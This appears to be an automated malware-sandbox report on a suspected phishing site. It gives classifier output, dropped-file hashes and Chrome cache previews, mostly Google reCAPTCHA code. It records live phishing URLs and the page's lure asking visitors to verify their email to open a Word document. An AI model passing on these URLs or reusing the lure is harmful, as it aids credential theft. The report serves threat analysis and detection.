!1},K[12](16,"INPUT")),Y=a[7](4,5833)(x(a[47](1),44).slice(y[0],5E4)),I=a[7](2,1933)(a[7](2,O[1
URL: http://hikingandadventures.com/inv/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We need verify the intended recipient's email to continue reading in word document. Please enter the email address to which document was shared.", "prominent_button_name": "Open in Word Document", "text_input_field_labels": ["q5we7a@yyp.com"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: http://hikingandadventures.com/inv/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Why did this happen?", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://0nline1.w212s.xyz/?username=q5we7a@yyp.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 09:26:45 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9791621420764836
Encrypted:	false
SSDEEP:	48:8sDdOTqyiHaidAKZdA19ehwiZUklqehhy+3:8l3Piy
MD5:	770FA74A69F37AA5B56363325F63214D
SHA1:	BC25D145769F6752D0A18B5A06F93B706ED0B25A
SHA-256:	F931E5ABFB53B463563593C30D4E36E48764D0969DD6D2B527AF657CF210CF8D
SHA-512:	28038CDC6B3979B80DD391BC4B6C63912C84AF684061640CBDC29195EDE6730DFCB9822517510E550F924B6D6E16287DB62E900F4429ADB3645F6494DECDC029
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)ZWS...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 09:26:45 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.992017060570395
Encrypted:	false
SSDEEP:	48:8bdOTqyiHaidAKZdA1weh/iZUkAQkqehSy+2:8s319Q/y
MD5:	6113E6B4EFDA65A2116BE8F488088DF6
SHA1:	2FF0FF69D672B5C958D53E169623D7441572D912
SHA-256:	2C93E4BDF5A664D50B0C3A6AD42BE078BAF5A72BBE969257851078432F05C583
SHA-512:	0FFBC5DD99D70ECA615A8D5D1DCE6735401E5C8F264288D7F79F3F9776CBA44BCF4FDE2F438091DB59379A29580463FBE02B885319746D278FBD507305BD874F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)ZWS...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005084670989721
Encrypted:	false
SSDEEP:	48:8xDdOTqysHaidAKZdA14tseh7sFiZUkmgqeh7sgy+BX:8xE3/nmy
MD5:	D27803AE3329E3EB8D0E3811C7D0A479
SHA1:	4AD209DB4867541B050440A183EF2B12D8D92C69
SHA-256:	C740DEB140A11AAE48A6D0C8EFB4F7E4B54CF7C11B3DE391A904DC9B822043E0
SHA-512:	2E3F44F82A5312B74E4D9B587946B882A3746AEA8234B1A7DD9D9C8F2BB697709ED16E574ED44753306CCF28345FE33B0630E38674B8ACB494251E834E0C2A08
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 09:26:45 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9922588233158605
Encrypted:	false
SSDEEP:	48:8WdOTqyiHaidAKZdA1vehDiZUkwqehuy+R:8r3Woy
MD5:	D95FC5497490DF80EFD4A2A886491CD6
SHA1:	BA03EA3A3BF568545B0FB48FD4CAA0165CA9B731
SHA-256:	BC0C263622130A300000E357507A1E37591A6105FE0BEB9DC8429105D84CA413
SHA-512:	76849D5E394E69DC656F11A01A08AB9D18280EFEBDA03AE9AAF8250852407F8B89E896C66ABF521E351AE7203DF5EC149EDC5942723551BEFD693B10E42B13A5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)ZWS...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 09:26:45 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9803601337574976
Encrypted:	false
SSDEEP:	48:8KdOTqyiHaidAKZdA1hehBiZUk1W1qehEy+C:8n329ky
MD5:	9273DF069B56D4CD187D4CC384F888BD
SHA1:	6EC60B364D42015C818CB45D5DEE44849C28E239
SHA-256:	A79F11CA1776AB7F1A2C8F8E2FF344A7ACCF8A853095366FD9595A0A0712FC0F
SHA-512:	857DCC63B41603019BE4FD5E4E289CAD478A9A94B798E119E523337B1BFABFF75B77BE7D1D9CF81B4D5BBAC6B9009BADD5DB37F5DCC0CCDF9B9FF2697647AF49
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)ZWS...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 09:26:45 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9918707762747534
Encrypted:	false
SSDEEP:	48:8IdOTqyiHaidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8V3IT/TbxWOvTbmy7T
MD5:	C9D0AF0A6048EF221330D68A7DD3752E
SHA1:	8B7D5E507E8DF8BB75244E82602976AFE5623F52
SHA-256:	2D6B3A58185F7AB8A89156E98E1A8B8FB7E5D45D53153626F5E1DCFF80A7E9B2
SHA-512:	BFEFB03E90530B20ED9B9488BC8D3FEBA850183E5FB9D98D52A3D8E4B629A0B9D6B078561A4C814347186B866F5770BA824D74B1F4E1CC739DD363EAE11F078C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....<....b..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)ZUS....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)ZUS....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)ZUS....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)ZUS..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)ZWS...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............]w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (615)
Category:	dropped
Size (bytes):	559653
Entropy (8bit):	5.705680793726412
Encrypted:	false
SSDEEP:	6144:e+5F5hBntAbdgXNGiFqXD3amOJp/syNILr5caQN+cMc0G:bcb+NGiFO3jGa57QP
MD5:	EB1594CE51B7609363C639ED8D50541A
SHA1:	41248D9D099A67E03C0F123439CA906E7CCCE22C
SHA-256:	FBA14002D8020B52EE5DF50C15A9E3ABEA5A03ACBB5FBAAD2596811F1128F471
SHA-512:	5D18DF2BCBDEE51C7F75AD10EBB3535787C8919E5029874AD8883980588318DA7812041331551B8B0910D5D3DEA2A9324DD33C5146000B8E9A808B4376B724B3
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var K=function(){return[function(p,v,T,x,I,O,Y,m,R,L,D,Z,V,g){if((p-2&7)==(g=[6,1,34],p<<g[1]&4\|\|(O=v.vD,x=v.k_,m=v.ZW,Y=["Verify your email",'<div class="'," "],R=v.identifier,L=Y[g[1]]+l[g[0]](g[1],"rc-2fa-background")+Y[2]+l[g[0]](g[2],"rc-2fa-background-override")+'"><div class="'+l[g[0]](g[1],"rc-2fa-container")+Y[2]+l[g[0]](35,"rc-2fa-container-override")+'"><div class="'+l[g[0]](g[2],"rc-2fa-header")+Y[2]+l[g[0]](32,"rc-2fa-header-override")+'">',L=(x==="phone"?L+"Verify your phone":L+Y[0])+.('</div><div class="'+l[g[0]](g[2],"rc-2fa-instructions")+Y[2]+l[g[0]](g[2],"rc-2fa-instructions-override")+'">'),x==

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
MD5:	AFB69DF47958EB78B4E941270772BD6A
SHA1:	D9FE9A625E906FF25C1F165E7872B1D9C731E78E
SHA-256:	874809FB1235F80831B706B9E9B903D80BD5662D036B7712CC76F8C684118878
SHA-512:	FD92B98859FFCCFD12AD57830887259F03C7396DA6569C0629B64604CD964E0DF15D695F1A770D2E7F8DF238140F0E6DA7E7D176B54E31C3BB75DDE9B9127C45
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkErAFoAxluWBIFDVNaR8U=?alt=proto
Preview:	CgkKBw1TWkfFGgA=

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18300)
Category:	dropped
Size (bytes):	18920
Entropy (8bit):	5.648118877162723
Encrypted:	false
SSDEEP:	384:byXIWN4tQu5vxh+g+k4Q/NOLxMgTy3e9naesPB8wEy1tj1GKxR:by4ft1N+u/NOOupaeEHPGW
MD5:	46074F20715B2E1D71813FE06D27F940
SHA1:	0A1F5FA5E8EE3161EE0A7FCF754FEA35A4D6C3F5
SHA-256:	19A614A48DD333665E26B26E63AB2174D2C904455065DF375EA23564AA3D6526
SHA-512:	0A3A595CFD90F343A04FAC3F108CF283F935F8C8FE6C0FF6DBCD581F24F8CD20792EA4097865E69427B95C2DF3060D7CE8E4B9373BD31D787F2CEB8D47E1C02A
Malicious:	false
Reputation:	low
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var P=function(H){return H},u=this\|\|self,x=function(H,r){if((r=(H=null,u).trustedTypes,!r)\|\|!r.createPolicy)return H;try{H=r.createPolicy("bg",{createHTML:P,createScript:P,createScriptURL:P})}catch(c){u.console&&u.console.error(c.message)}return H};(0,eval)(function(H,r){return(r=x())&&H.eval(r.createScript("1"))===1?function(c){return r.createScript(c)}:function(c){return""+c}}(u)(Array(Math.random()7824\|0).join("\n")+['(function(){/',.'',.' Copyright Google LLC',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var g=function(H,r,c,x,y,u,G,D){if(!c.GC&&(u=void 0,r&&r[0]===C&&(H=r[1],u=r[2],r=void 0),y=k(c,84),y.length==0&&(x=k(c,90)>>3,y.push(H,x>>8&255,x&255),u!=void 0&&y.push(u&255)),H="",r&&(r.message&&(H+=r.message),r.stack&&(H+=":"+r.stack)),r=k(c,218),r[0]>3)){c.i=(r=(H=(r[0]-=(H=H.slice(0,(r[0]\|0)-3),(H.length\|0)+3),i6(H)),c).i,c);try{c.hL?(D=(D=k(c,2))&&D[D.length-1]\|\|95,(G=k

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 353529
Category:	downloaded
Size (bytes):	259653
Entropy (8bit):	7.9988201678425295
Encrypted:	true
SSDEEP:	6144:MZMfZRWRcJZYgqUa+qRGl7+JIvIef/+MDN1R0:MZqbZYxtGlaJIvIef/+MDNT0
MD5:	A31C7BA25D509CA99D8C730CD75B0B28
SHA1:	E747B6E86E2516D83E44C278309FB993C609BA5E
SHA-256:	2460A0C7635EF5486F485A4445B44DC1F2F91FAD60DE5991BC5C3E8F5AE1CAB2
SHA-512:	A4DA2F0D074A7E7C4E5F93631DF53B3B24F9902351E4B97129DE28A63760339C1FC9304984A37A599A0CE5F0ABEE60E2AE2130158052FFBE63DA8272CC6B5F37
Malicious:	false
Reputation:	low
URL:	http://hikingandadventures.com/inv/
Preview:	..........t.G....%..`.....{..H..=.r.Y;...g..0. .T.U$.$.._...d....4.8..........N........H....?..?.....<.?y.n{y...\|O.......M.X......y;..'..........G.oEy.y.........M...y:.......3...C...._.._..................../..\.......K..T.t..J.vx...onY..._....g.OXf..KX......L...o...tY.........?..N......<......\|....7....h..Q.....gO...{.........y_o.9....a.............n......^..2..?.TC...]w.G[.......?y9..........G9..?.M.....?0.].............V.i].......+.#....2..5K.......!U.g..i....i.i.....c..Y.EP........,:_.%....0R...P.....8.x.-I.VF..X...a.tW.....O.......w....W.Yf5........m.C.....E....n...VZx...a.........B.\|....&..Y.@.......w!....`...".......9....@....][@.}..:A...rG@./~8..@.ThUC...C...26.H..].n...n..W.......\=....Q./...t.O{.@.W-....../....d.D.(`P...(......n.H..yR.3\..K.~..vs......r.1uP&.......7R.G...9..T-..%.-..m..".\|.......:avJ.8...K$^.#...`..v........Y#q..y.........Y.3Qo.~.d.l'n\|d{.(...._vk......U.....^N.......)...).H.....:.:.T.I3....Qs.I$}...~.Cu..

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.876439652186414
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKScf2aN8gWaee:PLKdXNQKsgL
MD5:	E1F0304F3E42C4B0F7F60C916163C085
SHA1:	40FC34522551F03676BA142C98A9982963811BC6
SHA-256:	ADB33A5A589E5C3A8399B879A2233CEDFC18025BCC70BDDA61D230F668300153
SHA-512:	6C115EEDB3562FA734D81DB534185D970D7F0C1C274F1DF3DE148B13C07A7889D961115974D6903C1A6F531BB2C7E636A3918507A0B56F95E729622888C7ECF4
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__en.js');

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	downloaded
Size (bytes):	1434
Entropy (8bit):	5.775292972832054
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtz1M+sLqo40Y:VKEctKo7LmvtUjPKtX7F1M/LrwUnG
MD5:	60395C591801D7108CD6127480F5A542
SHA1:	397E30BE079D07A8BB3EAD98FD5B7C5B8E1A8134
SHA-256:	32F3AC435D293515FF99B9B4E3E952E470868F70478E76815FCFE202F606ED3F
SHA-512:	219771A3E0FC39247886EE821AB804E913B02C68FEB79F94EE5EC024C02A1E0AD51394E2D89DDFB2BE8F701D4FD7D6F7B0522ED70916C3793D30AEFC5F30548A
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	5.775292972832054
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtz1M+sLqo40Y:VKEctKo7LmvtUjPKtX7F1M/LrwUnG
MD5:	60395C591801D7108CD6127480F5A542
SHA1:	397E30BE079D07A8BB3EAD98FD5B7C5B8E1A8134
SHA-256:	32F3AC435D293515FF99B9B4E3E952E470868F70478E76815FCFE202F606ED3F
SHA-512:	219771A3E0FC39247886EE821AB804E913B02C68FEB79F94EE5EC024C02A1E0AD51394E2D89DDFB2BE8F701D4FD7D6F7B0522ED70916C3793D30AEFC5F30548A
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
